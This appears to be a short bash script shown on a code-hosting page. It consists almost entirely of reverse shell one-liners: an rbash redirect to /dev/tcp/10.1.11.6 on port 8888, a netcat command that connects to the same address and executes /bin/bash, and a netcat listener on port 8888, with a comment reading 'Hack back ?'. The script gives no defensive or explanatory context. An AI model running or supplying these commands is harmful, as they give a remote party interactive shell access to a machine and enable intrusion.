This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # rbash -> restricted shell | |
| rbash -i >& /dev/tcp/10.1.11.6/8888 0>&1 | |
| # Hack back ? | |
| nc 10.1.11.6 8888 -e /bin/bash; | |
| nc -lvp 8888 |